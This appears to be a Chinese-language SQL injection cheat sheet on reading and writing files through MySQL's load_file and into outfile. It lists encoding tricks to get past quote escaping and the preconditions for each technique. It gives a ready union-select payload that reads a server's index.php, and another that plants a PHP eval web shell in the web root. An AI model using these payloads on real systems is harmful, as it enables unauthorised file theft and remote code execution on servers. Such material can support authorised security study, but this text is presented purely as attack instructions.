读写函数
- 可以写Linux的一个/
- 可以写Windows的\\
- 可以写成16进制 (防止魔术引号对查询结果的影响)
- 可以使用url编码(防止魔术引号对查询结果的影响)
- 路径引用可以使用单引号(‘)或者双引号(“)
读取函数 load_file
条件:
知道文件的绝对路径
配合着联合查询进行使用
id=\-13 union select 1,load\_file(‘c:/inetpub/wwwroot/8006/index.php’),3,4,5,6,7,8,9,10
写入函数 into outfile
条件:
- 拥有root权限
- 知道网站绝对路径
- 拥有写入的权限,更改文件配置secure_file_priv
- 单引号不会被转义,否则无法进行写入
and 1=2 union select 1,"<?php @eval($\_POST\['cracer'\]);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql\-sql/cc.php'